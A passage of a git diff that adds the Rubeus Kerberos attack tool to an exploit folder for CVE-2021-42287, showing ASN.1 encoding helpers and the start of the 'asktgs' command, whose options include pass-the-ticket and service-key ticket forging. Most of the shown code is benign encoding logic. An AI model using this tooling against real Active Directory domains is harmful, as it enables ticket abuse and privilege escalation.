"invalid tag class: " + tagClass); + } + if (tagValue < 0) { + throw new AsnException( + "invalid tag value: " + tagValue); + } + a.TagClass = tagClass; + a.TagValue = tagValue; + if (subs == null) { + a.Sub = new AsnElt[0]; + } else { + a.Sub = new AsnElt[subs.Length]; + Array.Copy(subs, 0, a.Sub, 0, subs.Length); + } + return a; + } + + /* + * Create a SET OF: sub-elements are automatically sorted by + * lexicographic order of their DER encodings. Identical elements + * are merged. + */ + public static AsnElt MakeSetOf(params AsnElt[] subs) + { + AsnElt a = new AsnElt(); + a.objBuf = null; + a.objOff = 0; + a.objLen = -1; + a.valOff = 0; + a.valLen = -1; + a.hasEncodedHeader = false; + a.TagClass = UNIVERSAL; + a.TagValue = SET; + if (subs == null) { + a.Sub = new AsnElt[0]; + } else { + SortedDictionary d = + new SortedDictionary( + COMPARER_LEXICOGRAPHIC); + foreach (AsnElt ax in subs) { + d[ax.Encode()] = ax; + } + AsnElt[] tmp = new AsnElt[d.Count]; + int j = 0; + foreach (AsnElt ax in d.Values) { + tmp[j ++] = ax; + } + a.Sub = tmp; + } + return a; + } + + static IComparer COMPARER_LEXICOGRAPHIC = + new ComparerLexicographic(); + + class ComparerLexicographic : IComparer { + + public int Compare(byte[] x, byte[] y) + { + int xLen = x.Length; + int yLen = y.Length; + int cLen = Math.Min(xLen, yLen); + for (int i = 0; i < cLen; i ++) { + if (x[i] != y[i]) { + return (int)x[i] - (int)y[i]; + } + } + return xLen - yLen; + } + } + + /* + * Wrap an element into an explicit tag. + */ + public static AsnElt MakeExplicit(int tagClass, int tagValue, AsnElt x) + { + return Make(tagClass, tagValue, x); + } + + /* + * Wrap an element into an explicit CONTEXT tag. + */ + public static AsnElt MakeExplicit(int tagValue, AsnElt x) + { + return Make(CONTEXT, tagValue, x); + } + + /* + * Apply an implicit tag to a value. The source AsnElt object + * is unmodified; a new object is returned. + */ + public static AsnElt MakeImplicit(int tagClass, int tagValue, AsnElt x) + { + if (x.Constructed) { + return Make(tagClass, tagValue, x.Sub); + } + AsnElt a = new AsnElt(); + a.objBuf = x.GetValue(out a.valOff, out a.valLen); + a.objOff = 0; + a.objLen = -1; + a.hasEncodedHeader = false; + a.TagClass = tagClass; + a.TagValue = tagValue; + a.Sub = null; + return a; + } + + public static AsnElt NULL_V = AsnElt.MakePrimitive( + NULL, new byte[0]); + + public static AsnElt BOOL_TRUE = AsnElt.MakePrimitive( + BOOLEAN, new byte[] { 0xFF }); + public static AsnElt BOOL_FALSE = AsnElt.MakePrimitive( + BOOLEAN, new byte[] { 0x00 }); + + /* + * Create an OBJECT IDENTIFIER from its string representation. + * This function tolerates extra leading zeros. + */ + public static AsnElt MakeOID(string str) + { + List r = new List(); + int n = str.Length; + long x = -1; + for (int i = 0; i < n; i ++) { + int c = str[i]; + if (c == '.') { + if (x < 0) { + throw new AsnException( + "invalid OID (empty element)"); + } + r.Add(x); + x = -1; + continue; + } + if (c < '0' || c > '9') { + throw new AsnException(String.Format( + "invalid character U+{0:X4} in OID", + c)); + } + if (x < 0) { + x = 0; + } else if (x > ((Int64.MaxValue - 9) / 10)) { + throw new AsnException("OID element overflow"); + } + x = x * (long)10 + (long)(c - '0'); + } + if (x < 0) { + throw new AsnException( + "invalid OID (empty element)"); + } + r.Add(x); + if (r.Count < 2) { + throw new AsnException( + "invalid OID (not enough elements)"); + } + if (r[0] > 2 || r[1] > 40) { + throw new AsnException( + "invalid OID (first elements out of range)"); + } + + MemoryStream ms = new MemoryStream(); + ms.WriteByte((byte)(40 * (int)r[0] + (int)r[1])); + for (int i = 2; i < r.Count; i ++) { + long v = r[i]; + if (v < 0x80) { + ms.WriteByte((byte)v); + continue; + } + int k = -7; + for (long w = v; w != 0; w >>= 7, k += 7); + ms.WriteByte((byte)(0x80 + (int)(v >> k))); + for (k -= 7; k >= 0; k -= 7) { + int z = (int)(v >> k) & 0x7F; + if (k > 0) { + z |= 0x80; + } + ms.WriteByte((byte)z); + } + } + byte[] buf = ms.ToArray(); + return MakePrimitiveInner(OBJECT_IDENTIFIER, + buf, 0, buf.Length); + } + + /* + * Create a string of the provided type and contents. The string + * type is a universal tag value for one of the string or time + * types. + */ + public static AsnElt MakeString(int type, string str) + { + VerifyChars(str.ToCharArray(), type); + byte[] buf; + switch (type) { + case NumericString: + case PrintableString: + case UTCTime: + case GeneralizedTime: + case IA5String: + case TeletexString: + case GeneralString: + buf = EncodeMono(str); + break; + case UTF8String: + buf = EncodeUTF8(str); + break; + case BMPString: + buf = EncodeUTF16(str); + break; + case UniversalString: + buf = EncodeUTF32(str); + break; + default: + throw new AsnException( + "unsupported string type: " + type); + } + return MakePrimitiveInner(type, buf); + } + + static byte[] EncodeMono(string str) + { + byte[] r = new byte[str.Length]; + int k = 0; + foreach (char c in str) { + r[k ++] = (byte)c; + } + return r; + } + + /* + * Get the code point at offset 'off' in the string. Either one + * or two 'char' slots are used; 'off' is updated accordingly. + */ + static int CodePoint(string str, ref int off) + { + int c = str[off ++]; + if (c >= 0xD800 && c < 0xDC00 && off < str.Length) { + int d = str[off]; + if (d >= 0xDC00 && d < 0xE000) { + c = ((c & 0x3FF) << 10) + + (d & 0x3FF) + 0x10000; + off ++; + } + } + return c; + } + + static byte[] EncodeUTF8(string str) + { + int k = 0; + int n = str.Length; + MemoryStream ms = new MemoryStream(); + while (k < n) { + int cp = CodePoint(str, ref k); + if (cp < 0x80) { + ms.WriteByte((byte)cp); + } else if (cp < 0x800) { + ms.WriteByte((byte)(0xC0 + (cp >> 6))); + ms.WriteByte((byte)(0x80 + (cp & 63))); + } else if (cp < 0x10000) { + ms.WriteByte((byte)(0xE0 + (cp >> 12))); + ms.WriteByte((byte)(0x80 + ((cp >> 6) & 63))); + ms.WriteByte((byte)(0x80 + (cp & 63))); + } else { + ms.WriteByte((byte)(0xF0 + (cp >> 18))); + ms.WriteByte((byte)(0x80 + ((cp >> 12) & 63))); + ms.WriteByte((byte)(0x80 + ((cp >> 6) & 63))); + ms.WriteByte((byte)(0x80 + (cp & 63))); + } + } + return ms.ToArray(); + } + + static byte[] EncodeUTF16(string str) + { + byte[] buf = new byte[str.Length << 1]; + int k = 0; + foreach (char c in str) { + buf[k ++] = (byte)(c >> 8); + buf[k ++] = (byte)c; + } + return buf; + } + + static byte[] EncodeUTF32(string str) + { + int k = 0; + int n = str.Length; + MemoryStream ms = new MemoryStream(); + while (k < n) { + int cp = CodePoint(str, ref k); + ms.WriteByte((byte)(cp >> 24)); + ms.WriteByte((byte)(cp >> 16)); + ms.WriteByte((byte)(cp >> 8)); + ms.WriteByte((byte)cp); + } + return ms.ToArray(); + } + + /* + * Create a time value of the specified type (UTCTime or + * GeneralizedTime). + */ + public static AsnElt MakeTime(int type, DateTime dt) + { + dt = dt.ToUniversalTime(); + string str; + switch (type) { + case UTCTime: + int year = dt.Year; + if (year < 1950 || year >= 2050) { + throw new AsnException(String.Format( + "cannot encode year {0} as UTCTime", + year)); + } + year = year % 100; + str = String.Format( + "{0:d2}{1:d2}{2:d2}{3:d2}{4:d2}{5:d2}Z", + year, dt.Month, dt.Day, + dt.Hour, dt.Minute, dt.Second); + break; + case GeneralizedTime: + str = String.Format( + "{0:d4}{1:d2}{2:d2}{3:d2}{4:d2}{5:d2}", + dt.Year, dt.Month, dt.Day, + dt.Hour, dt.Minute, dt.Second); + int millis = dt.Millisecond; + if (millis != 0) { + if (millis % 100 == 0) { + str = String.Format("{0}.{1:d1}", + str, millis / 100); + } else if (millis % 10 == 0) { + str = String.Format("{0}.{1:d2}", + str, millis / 10); + } else { + str = String.Format("{0}.{1:d3}", + str, millis); + } + } + str = str + "Z"; + break; + default: + throw new AsnException( + "unsupported time type: " + type); + } + return MakeString(type, str); + } + + /* + * Create a time value of the specified type (UTCTime or + * GeneralizedTime). + */ + public static AsnElt MakeTime(int type, DateTimeOffset dto) + { + return MakeTime(type, dto.UtcDateTime); + } + + /* + * Create a time value with an automatic type selection + * (UTCTime if year is in the 1950..2049 range, GeneralizedTime + * otherwise). + */ + public static AsnElt MakeTimeAuto(DateTime dt) + { + dt = dt.ToUniversalTime(); + return MakeTime((dt.Year >= 1950 && dt.Year <= 2049) + ? UTCTime : GeneralizedTime, dt); + } + + /* + * Create a time value with an automatic type selection + * (UTCTime if year is in the 1950..2049 range, GeneralizedTime + * otherwise). + */ + public static AsnElt MakeTimeAuto(DateTimeOffset dto) + { + return MakeTimeAuto(dto.UtcDateTime); + } +} + +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Asn1/AsnException.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Asn1/AsnException.cs new file mode 100644 index 0000000..852bd72 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Asn1/AsnException.cs @@ -0,0 +1,19 @@ +using System; +using System.IO; + +namespace Asn1 { + +public class AsnException : IOException { + + public AsnException(string message) + : base(message) + { + } + + public AsnException(string message, Exception nested) + : base(message, nested) + { + } +} + +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Asn1/AsnIO.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Asn1/AsnIO.cs new file mode 100644 index 0000000..04883ec --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Asn1/AsnIO.cs @@ -0,0 +1,309 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace Asn1 { + +public static class AsnIO { + + public static byte[] FindDER(byte[] buf) + { + return FindBER(buf, true); + } + + public static byte[] FindBER(byte[] buf) + { + return FindBER(buf, false); + } + + /* + * Find a BER/DER object in the provided buffer. If the data is + * not already in the right format, conversion to string then + * Base64 decoding is attempted; in the latter case, PEM headers + * are detected and skipped. In any case, the returned buffer + * must begin with a well-formed tag and length, corresponding to + * the object length. + * + * If 'strictDER' is true, then the function furthermore insists + * on the object to use a defined DER length. + * + * The returned buffer may be the source buffer itself, or a newly + * allocated buffer. + * + * On error, null is returned. + */ + public static byte[] FindBER(byte[] buf, bool strictDER) + { + string pemType = null; + return FindBER(buf, strictDER, out pemType); + } + + /* + * Find a BER/DER object in the provided buffer. If the data is + * not already in the right format, conversion to string then + * Base64 decoding is attempted; in the latter case, PEM headers + * are detected and skipped. In any case, the returned buffer + * must begin with a well-formed tag and length, corresponding to + * the object length. + * + * If 'strictDER' is true, then the function furthermore insists + * on the object to use a defined DER length. + * + * If the source was detected to use PEM, then the object type + * indicated by the PEM header is written in 'pemType'; otherwise, + * that variable is set to null. + * + * The returned buffer may be the source buffer itself, or a newly + * allocated buffer. + * + * On error, null is returned. + */ + public static byte[] FindBER(byte[] buf, + bool strictDER, out string pemType) + { + pemType = null; + + /* + * If it is already (from the outside) a BER object, + * return it. + */ + if (LooksLikeBER(buf, strictDER)) { + return buf; + } + + /* + * Convert the blob to a string. We support UTF-16 with + * and without a BOM, UTF-8 with and without a BOM, and + * ASCII-compatible encodings. Non-ASCII characters get + * truncated. + */ + if (buf.Length < 3) { + return null; + } + string str = null; + if ((buf.Length & 1) == 0) { + if (buf[0] == 0xFE && buf[1] == 0xFF) { + // Starts with big-endian UTF-16 BOM + str = ConvertBi(buf, 2, true); + } else if (buf[0] == 0xFF && buf[1] == 0xFE) { + // Starts with little-endian UTF-16 BOM + str = ConvertBi(buf, 2, false); + } else if (buf[0] == 0) { + // First byte is 0 -> big-endian UTF-16 + str = ConvertBi(buf, 0, true); + } else if (buf[1] == 0) { + // Second byte is 0 -> little-endian UTF-16 + str = ConvertBi(buf, 0, false); + } + } + if (str == null) { + if (buf[0] == 0xEF + && buf[1] == 0xBB + && buf[2] == 0xBF) + { + // Starts with UTF-8 BOM + str = ConvertMono(buf, 3); + } else { + // Assumed ASCII-compatible mono-byte encoding + str = ConvertMono(buf, 0); + } + } + if (str == null) { + return null; + } + + /* + * Try to detect a PEM header and footer; if we find both + * then we remove both, keeping only the characters that + * occur in between. + */ + int p = str.IndexOf("-----BEGIN "); + int q = str.IndexOf("-----END "); + if (p >= 0 && q >= 0) { + p += 11; + int r = str.IndexOf((char)10, p) + 1; + int px = str.IndexOf('-', p); + if (px > 0 && px < r && r > 0 && r <= q) { + pemType = string.Copy(str.Substring(p, px - p)); + str = str.Substring(r, q - r); + } + } + + /* + * Convert from Base64. + */ + try { + buf = Convert.FromBase64String(str); + if (LooksLikeBER(buf, strictDER)) { + return buf; + } + } catch { + // ignored: not Base64 + } + + /* + * Decoding failed. + */ + return null; + } + + /* =============================================================== */ + + /* + * Decode a tag; returned value is true on success, false otherwise. + * On success, 'off' is updated to point to the first byte after + * the tag. + */ + static bool DecodeTag(byte[] buf, int lim, ref int off) + { + int p = off; + if (p >= lim) { + return false; + } + int v = buf[p ++]; + if ((v & 0x1F) == 0x1F) { + do { + if (p >= lim) { + return false; + } + v = buf[p ++]; + } while ((v & 0x80) != 0); + } + off = p; + return true; + } + + /* + * Decode a BER length. Returned value is: + * -2 no decodable length + * -1 indefinite length + * 0+ definite length + * If a definite or indefinite length could be decoded, then 'off' + * is updated to point to the first byte after the length. + */ + static int DecodeLength(byte[] buf, int lim, ref int off) + { + int p = off; + if (p >= lim) { + return -2; + } + int v = buf[p ++]; + if (v < 0x80) { + off = p; + return v; + } else if (v == 0x80) { + off = p; + return -1; + } + v &= 0x7F; + if ((lim - p) < v) { + return -2; + } + int acc = 0; + while (v -- > 0) { + if (acc > 0x7FFFFF) { + return -2; + } + acc = (acc << 8) + buf[p ++]; + } + off = p; + return acc; + } + + /* + * Get the length, in bytes, of the object in the provided + * buffer. The object begins at offset 'off' but does not extend + * farther than offset 'lim'. If no such BER object can be + * decoded, then -1 is returned. The returned length includes + * that of the tag and length fields. + */ + static int BERLength(byte[] buf, int lim, int off) + { + int orig = off; + if (!DecodeTag(buf, lim, ref off)) { + return -1; + } + int len = DecodeLength(buf, lim, ref off); + if (len >= 0) { + if (len > (lim - off)) { + return -1; + } + return off + len - orig; + } else if (len < -1) { + return -1; + } + + /* + * Indefinite length: we must do some recursive exploration. + * End of structure is marked by a "null tag": object has + * total length 2 and its tag byte is 0. + */ + for (;;) { + int slen = BERLength(buf, lim, off); + if (slen < 0) { + return -1; + } + off += slen; + if (slen == 2 && buf[off] == 0) { + return off - orig; + } + } + } + + static bool LooksLikeBER(byte[] buf, bool strictDER) + { + return LooksLikeBER(buf, 0, buf.Length, strictDER); + } + + static bool LooksLikeBER(byte[] buf, int off, int len, bool strictDER) + { + int lim = off + len; + int objLen = BERLength(buf, lim, off); + if (objLen != len) { + return false; + } + if (strictDER) { + DecodeTag(buf, lim, ref off); + return DecodeLength(buf, lim, ref off) >= 0; + } else { + return true; + } + } + + static string ConvertMono(byte[] buf, int off) + { + int len = buf.Length - off; + char[] tc = new char[len]; + for (int i = 0; i < len; i ++) { + int v = buf[off + i]; + if (v < 1 || v > 126) { + v = '?'; + } + tc[i] = (char)v; + } + return new string(tc); + } + + static string ConvertBi(byte[] buf, int off, bool be) + { + int len = buf.Length - off; + if ((len & 1) != 0) { + return null; + } + len >>= 1; + char[] tc = new char[len]; + for (int i = 0; i < len; i ++) { + int b0 = buf[off + (i << 1) + 0]; + int b1 = buf[off + (i << 1) + 1]; + int v = be ? ((b0 << 8) + b1) : (b0 + (b1 << 8)); + if (v < 1 || v > 126) { + v = '?'; + } + tc[i] = (char)v; + } + return new string(tc); + } +} + +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Asn1/AsnOID.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Asn1/AsnOID.cs new file mode 100644 index 0000000..19739f5 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Asn1/AsnOID.cs @@ -0,0 +1,294 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace Asn1 { + +public class AsnOID { + + static Dictionary OIDToName = + new Dictionary(); + static Dictionary NameToOID = + new Dictionary(); + + static AsnOID() + { + /* + * From RFC 5280, PKIX1Explicit88 module. + */ + Reg("1.3.6.1.5.5.7", "id-pkix"); + Reg("1.3.6.1.5.5.7.1", "id-pe"); + Reg("1.3.6.1.5.5.7.2", "id-qt"); + Reg("1.3.6.1.5.5.7.3", "id-kp"); + Reg("1.3.6.1.5.5.7.48", "id-ad"); + Reg("1.3.6.1.5.5.7.2.1", "id-qt-cps"); + Reg("1.3.6.1.5.5.7.2.2", "id-qt-unotice"); + Reg("1.3.6.1.5.5.7.48.1", "id-ad-ocsp"); + Reg("1.3.6.1.5.5.7.48.2", "id-ad-caIssuers"); + Reg("1.3.6.1.5.5.7.48.3", "id-ad-timeStamping"); + Reg("1.3.6.1.5.5.7.48.5", "id-ad-caRepository"); + + Reg("2.5.4", "id-at"); + Reg("2.5.4.41", "id-at-name"); + Reg("2.5.4.4", "id-at-surname"); + Reg("2.5.4.42", "id-at-givenName"); + Reg("2.5.4.43", "id-at-initials"); + Reg("2.5.4.44", "id-at-generationQualifier"); + Reg("2.5.4.3", "id-at-commonName"); + Reg("2.5.4.7", "id-at-localityName"); + Reg("2.5.4.8", "id-at-stateOrProvinceName"); + Reg("2.5.4.10", "id-at-organizationName"); + Reg("2.5.4.11", "id-at-organizationalUnitName"); + Reg("2.5.4.12", "id-at-title"); + Reg("2.5.4.46", "id-at-dnQualifier"); + Reg("2.5.4.6", "id-at-countryName"); + Reg("2.5.4.5", "id-at-serialNumber"); + Reg("2.5.4.65", "id-at-pseudonym"); + Reg("0.9.2342.19200300.100.1.25", "id-domainComponent"); + + Reg("1.2.840.113549.1.9", "pkcs-9"); + Reg("1.2.840.113549.1.9.1", "id-emailAddress"); + + /* + * From RFC 5280, PKIX1Implicit88 module. + */ + Reg("2.5.29", "id-ce"); + Reg("2.5.29.35", "id-ce-authorityKeyIdentifier"); + Reg("2.5.29.14", "id-ce-subjectKeyIdentifier"); + Reg("2.5.29.15", "id-ce-keyUsage"); + Reg("2.5.29.16", "id-ce-privateKeyUsagePeriod"); + Reg("2.5.29.32", "id-ce-certificatePolicies"); + Reg("2.5.29.33", "id-ce-policyMappings"); + Reg("2.5.29.17", "id-ce-subjectAltName"); + Reg("2.5.29.18", "id-ce-issuerAltName"); + Reg("2.5.29.9", "id-ce-subjectDirectoryAttributes"); + Reg("2.5.29.19", "id-ce-basicConstraints"); + Reg("2.5.29.30", "id-ce-nameConstraints"); + Reg("2.5.29.36", "id-ce-policyConstraints"); + Reg("2.5.29.31", "id-ce-cRLDistributionPoints"); + Reg("2.5.29.37", "id-ce-extKeyUsage"); + + Reg("2.5.29.37.0", "anyExtendedKeyUsage"); + Reg("1.3.6.1.5.5.7.3.1", "id-kp-serverAuth"); + Reg("1.3.6.1.5.5.7.3.2", "id-kp-clientAuth"); + Reg("1.3.6.1.5.5.7.3.3", "id-kp-codeSigning"); + Reg("1.3.6.1.5.5.7.3.4", "id-kp-emailProtection"); + Reg("1.3.6.1.5.5.7.3.8", "id-kp-timeStamping"); + Reg("1.3.6.1.5.5.7.3.9", "id-kp-OCSPSigning"); + + Reg("2.5.29.54", "id-ce-inhibitAnyPolicy"); + Reg("2.5.29.46", "id-ce-freshestCRL"); + Reg("1.3.6.1.5.5.7.1.1", "id-pe-authorityInfoAccess"); + Reg("1.3.6.1.5.5.7.1.11", "id-pe-subjectInfoAccess"); + Reg("2.5.29.20", "id-ce-cRLNumber"); + Reg("2.5.29.28", "id-ce-issuingDistributionPoint"); + Reg("2.5.29.27", "id-ce-deltaCRLIndicator"); + Reg("2.5.29.21", "id-ce-cRLReasons"); + Reg("2.5.29.29", "id-ce-certificateIssuer"); + Reg("2.5.29.23", "id-ce-holdInstructionCode"); + Reg("2.2.840.10040.2", "WRONG-holdInstruction"); + Reg("2.2.840.10040.2.1", "WRONG-id-holdinstruction-none"); + Reg("2.2.840.10040.2.2", "WRONG-id-holdinstruction-callissuer"); + Reg("2.2.840.10040.2.3", "WRONG-id-holdinstruction-reject"); + Reg("2.5.29.24", "id-ce-invalidityDate"); + + /* + * These are the "right" OID. RFC 5280 mistakenly defines + * the first OID element as "2". + */ + Reg("1.2.840.10040.2", "holdInstruction"); + Reg("1.2.840.10040.2.1", "id-holdinstruction-none"); + Reg("1.2.840.10040.2.2", "id-holdinstruction-callissuer"); + Reg("1.2.840.10040.2.3", "id-holdinstruction-reject"); + + /* + * From PKCS#1. + */ + Reg("1.2.840.113549.1.1", "pkcs-1"); + Reg("1.2.840.113549.1.1.1", "rsaEncryption"); + Reg("1.2.840.113549.1.1.7", "id-RSAES-OAEP"); + Reg("1.2.840.113549.1.1.9", "id-pSpecified"); + Reg("1.2.840.113549.1.1.10", "id-RSASSA-PSS"); + Reg("1.2.840.113549.1.1.2", "md2WithRSAEncryption"); + Reg("1.2.840.113549.1.1.4", "md5WithRSAEncryption"); + Reg("1.2.840.113549.1.1.5", "sha1WithRSAEncryption"); + Reg("1.2.840.113549.1.1.11", "sha256WithRSAEncryption"); + Reg("1.2.840.113549.1.1.12", "sha384WithRSAEncryption"); + Reg("1.2.840.113549.1.1.13", "sha512WithRSAEncryption"); + Reg("1.3.14.3.2.26", "id-sha1"); + Reg("1.2.840.113549.2.2", "id-md2"); + Reg("1.2.840.113549.2.5", "id-md5"); + Reg("1.2.840.113549.1.1.8", "id-mgf1"); + + /* + * From NIST: http://csrc.nist.gov/groups/ST/crypto_apps_infra/csor/algorithms.html + */ + Reg("2.16.840.1.101.3", "csor"); + Reg("2.16.840.1.101.3.4", "nistAlgorithms"); + Reg("2.16.840.1.101.3.4.0", "csorModules"); + Reg("2.16.840.1.101.3.4.0.1", "aesModule1"); + + Reg("2.16.840.1.101.3.4.1", "aes"); + Reg("2.16.840.1.101.3.4.1.1", "id-aes128-ECB"); + Reg("2.16.840.1.101.3.4.1.2", "id-aes128-CBC"); + Reg("2.16.840.1.101.3.4.1.3", "id-aes128-OFB"); + Reg("2.16.840.1.101.3.4.1.4", "id-aes128-CFB"); + Reg("2.16.840.1.101.3.4.1.5", "id-aes128-wrap"); + Reg("2.16.840.1.101.3.4.1.6", "id-aes128-GCM"); + Reg("2.16.840.1.101.3.4.1.7", "id-aes128-CCM"); + Reg("2.16.840.1.101.3.4.1.8", "id-aes128-wrap-pad"); + Reg("2.16.840.1.101.3.4.1.21", "id-aes192-ECB"); + Reg("2.16.840.1.101.3.4.1.22", "id-aes192-CBC"); + Reg("2.16.840.1.101.3.4.1.23", "id-aes192-OFB"); + Reg("2.16.840.1.101.3.4.1.24", "id-aes192-CFB"); + Reg("2.16.840.1.101.3.4.1.25", "id-aes192-wrap"); + Reg("2.16.840.1.101.3.4.1.26", "id-aes192-GCM"); + Reg("2.16.840.1.101.3.4.1.27", "id-aes192-CCM"); + Reg("2.16.840.1.101.3.4.1.28", "id-aes192-wrap-pad"); + Reg("2.16.840.1.101.3.4.1.41", "id-aes256-ECB"); + Reg("2.16.840.1.101.3.4.1.42", "id-aes256-CBC"); + Reg("2.16.840.1.101.3.4.1.43", "id-aes256-OFB"); + Reg("2.16.840.1.101.3.4.1.44", "id-aes256-CFB"); + Reg("2.16.840.1.101.3.4.1.45", "id-aes256-wrap"); + Reg("2.16.840.1.101.3.4.1.46", "id-aes256-GCM"); + Reg("2.16.840.1.101.3.4.1.47", "id-aes256-CCM"); + Reg("2.16.840.1.101.3.4.1.48", "id-aes256-wrap-pad"); + + Reg("2.16.840.1.101.3.4.2", "hashAlgs"); + Reg("2.16.840.1.101.3.4.2.1", "id-sha256"); + Reg("2.16.840.1.101.3.4.2.2", "id-sha384"); + Reg("2.16.840.1.101.3.4.2.3", "id-sha512"); + Reg("2.16.840.1.101.3.4.2.4", "id-sha224"); + Reg("2.16.840.1.101.3.4.2.5", "id-sha512-224"); + Reg("2.16.840.1.101.3.4.2.6", "id-sha512-256"); + + Reg("2.16.840.1.101.3.4.3", "sigAlgs"); + Reg("2.16.840.1.101.3.4.3.1", "id-dsa-with-sha224"); + Reg("2.16.840.1.101.3.4.3.2", "id-dsa-with-sha256"); + + Reg("1.2.840.113549", "rsadsi"); + Reg("1.2.840.113549.2", "digestAlgorithm"); + Reg("1.2.840.113549.2.7", "id-hmacWithSHA1"); + Reg("1.2.840.113549.2.8", "id-hmacWithSHA224"); + Reg("1.2.840.113549.2.9", "id-hmacWithSHA256"); + Reg("1.2.840.113549.2.10", "id-hmacWithSHA384"); + Reg("1.2.840.113549.2.11", "id-hmacWithSHA512"); + + /* + * From X9.57: http://oid-info.com/get/1.2.840.10040.4 + */ + Reg("1.2.840.10040.4", "x9algorithm"); + Reg("1.2.840.10040.4", "x9cm"); + Reg("1.2.840.10040.4.1", "dsa"); + Reg("1.2.840.10040.4.3", "dsa-with-sha1"); + + /* + * From SEC: http://oid-info.com/get/1.3.14.3.2 + */ + Reg("1.3.14.3.2.2", "md4WithRSA"); + Reg("1.3.14.3.2.3", "md5WithRSA"); + Reg("1.3.14.3.2.4", "md4WithRSAEncryption"); + Reg("1.3.14.3.2.12", "dsaSEC"); + Reg("1.3.14.3.2.13", "dsaWithSHASEC"); + Reg("1.3.14.3.2.27", "dsaWithSHA1SEC"); + + /* + * From Microsoft: http://oid-info.com/get/1.3.6.1.4.1.311.20.2 + */ + Reg("1.3.6.1.4.1.311.20.2", "ms-certType"); + Reg("1.3.6.1.4.1.311.20.2.2", "ms-smartcardLogon"); + Reg("1.3.6.1.4.1.311.20.2.3", "ms-UserPrincipalName"); + Reg("1.3.6.1.4.1.311.20.2.3", "ms-UPN"); + } + + static void Reg(string oid, string name) + { + if (!OIDToName.ContainsKey(oid)) { + OIDToName.Add(oid, name); + } + string nn = Normalize(name); + if (NameToOID.ContainsKey(nn)) { + throw new Exception("OID name collision: " + nn); + } + NameToOID.Add(nn, oid); + + /* + * Many names start with 'id-??-' and we want to support + * the short names (without that prefix) as aliases. But + * we must take care of some collisions on short names. + */ + if (name.StartsWith("id-") + && name.Length >= 7 && name[5] == '-') + { + if (name.StartsWith("id-ad-")) { + Reg(oid, name.Substring(6) + "-IA"); + } else if (name.StartsWith("id-kp-")) { + Reg(oid, name.Substring(6) + "-EKU"); + } else { + Reg(oid, name.Substring(6)); + } + } + } + + static string Normalize(string name) + { + StringBuilder sb = new StringBuilder(); + foreach (char c in name) { + int d = (int)c; + if (d <= 32 || d == '-') { + continue; + } + if (d >= 'A' && d <= 'Z') { + d += 'a' - 'A'; + } + sb.Append((char)c); + } + return sb.ToString(); + } + + public static string ToName(string oid) + { + return OIDToName.ContainsKey(oid) ? OIDToName[oid] : oid; + } + + public static string ToOID(string name) + { + if (IsNumericOID(name)) { + return name; + } + string nn = Normalize(name); + if (!NameToOID.ContainsKey(nn)) { + throw new AsnException( + "unrecognized OID name: " + name); + } + return NameToOID[nn]; + } + + public static bool IsNumericOID(string oid) + { + /* + * An OID is in numeric format if: + * -- it contains only digits and dots + * -- it does not start or end with a dot + * -- it does not contain two consecutive dots + * -- it contains at least one dot + */ + foreach (char c in oid) { + if (!(c >= '0' && c <= '9') && c != '.') { + return false; + } + } + if (oid.StartsWith(".") || oid.EndsWith(".")) { + return false; + } + if (oid.IndexOf("..") >= 0) { + return false; + } + if (oid.IndexOf('.') < 0) { + return false; + } + return true; + } +} + +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Asktgs.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Asktgs.cs new file mode 100644 index 0000000..cd6890c --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Asktgs.cs @@ -0,0 +1,181 @@ +using System; +using System.Collections.Generic; +using System.IO; + + +namespace Rubeus.Commands +{ + public class Asktgs : ICommand + { + public static string CommandName => "asktgs"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Ask TGS\r\n"); + + string outfile = ""; + bool ptt = false; + string dc = ""; + string service = ""; + bool enterprise = false; + bool opsec = false; + Interop.KERB_ETYPE requestEnctype = Interop.KERB_ETYPE.subkey_keymaterial; + KRB_CRED tgs = null; + string targetDomain = ""; + string servicekey = ""; + string asrepkey = ""; + bool u2u = false; + string targetUser = ""; + bool printargs = false; + + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + + if (arguments.ContainsKey("/enterprise")) + { + enterprise = true; + } + + if (arguments.ContainsKey("/opsec")) + { + opsec = true; + } + + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + + if (arguments.ContainsKey("/enctype")) + { + string encTypeString = arguments["/enctype"].ToUpper(); + + if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) + { + requestEnctype = Interop.KERB_ETYPE.rc4_hmac; + } + else if (encTypeString.Equals("AES128")) + { + requestEnctype = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) + { + requestEnctype = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + else if (encTypeString.Equals("DES")) + { + requestEnctype = Interop.KERB_ETYPE.des_cbc_md5; + } + else + { + Console.WriteLine("Unsupported etype : {0}", encTypeString); + return; + } + } + + // for U2U requests + if (arguments.ContainsKey("/u2u")) + { + u2u = true; + } + + if (arguments.ContainsKey("/service")) + { + service = arguments["/service"]; + } + else if (!u2u) + { + Console.WriteLine("[X] One or more '/service:sname/server.domain.com' specifications are needed"); + return; + } + + if (arguments.ContainsKey("/servicekey")) { + servicekey = arguments["/servicekey"]; + } + + if (u2u || !String.IsNullOrEmpty(servicekey)) + { + // print command arguments for forging tickets + if (arguments.ContainsKey("/printargs")) + { + printargs = true; + } + } + + + if (arguments.ContainsKey("/asrepkey")) { + asrepkey = arguments["/asrepkey"]; + } + + if 